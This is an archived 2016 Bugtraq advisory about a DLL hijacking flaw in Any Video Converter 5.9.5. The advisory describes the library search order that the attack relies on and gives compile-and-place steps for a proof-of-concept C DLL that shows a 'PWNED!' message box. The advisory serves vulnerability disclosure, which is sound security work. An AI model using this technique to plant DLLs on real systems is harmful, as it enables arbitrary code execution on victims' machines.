lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201608090334.u793Y2k9017933@sf01web2.securityfocus.com>
Date: Tue, 9 Aug 2016 03:34:02 GMT
From: hyp3rlinx@...os.com
To: bugtraq@...urityfocus.com
Subject: Any Video Converter DLL Hijack

[+] Credits: HYP3RLINX 

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/ANY-VIDEO-CONVERTER-DLL-HIJACK.txt


[+] ISR: ApparitionSec



Vendor:
===========================
www.any-video-converter.com



Product:
====================================
AVCSoft / Any Video Converter v5.9.5

AVCFree.exe is a Video downloader and converter.



Vulnerability Type:
====================
DLL Hijack



CVE Reference:
==============
N/A



Vulnerability Details:
=====================


Vuln DLL: libx265_main10.dll

AVCFree.exe will search for an load any DLL named "libx265_main10.dll". If an attacker can place the DLL in a location
where victim opens a file in AVCFree it will load and run the attackers DLL and code.

In testing I notice if the file type is associated with AVCFree.exe as default program to open with then double clicking
the file will load and execute the vuln DLL. If file type is not associated with AVCFree then right clicking and choosing
to open with AVCFree will do the same.

Right click or Double click and open in AVCFree.exe following file types then BOOM.

.mp4, .mp3, .mpg, mpeg, .iso, .divx, .wav, .flv, .avs, .mov

and probably more...



Exploit code(s):
===============

1) Save and compile below C code as 'libx265_main10.c' to create vuln DLL

2) Place on remote share or other directory like "downloads"

3) Right click or Double Click an .mpg file or any of extensions listed above to open with AVCFree.exe then BOOM!


#include<windows.h>

//gcc -c libx265_main10.c
//gcc -shared -o libx265_main10.dll libx265_main10.o

BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
  switch (reason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(NULL, "Arbitrary Code Exec", "PWNED!", MB_OK);  
    break;
  }

return 0;
}



Disclosure Timeline:
===============================
Vendor Notification:  No Replies
August 8, 2016  : Public Disclosure





Severity Level:
================
Medium



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ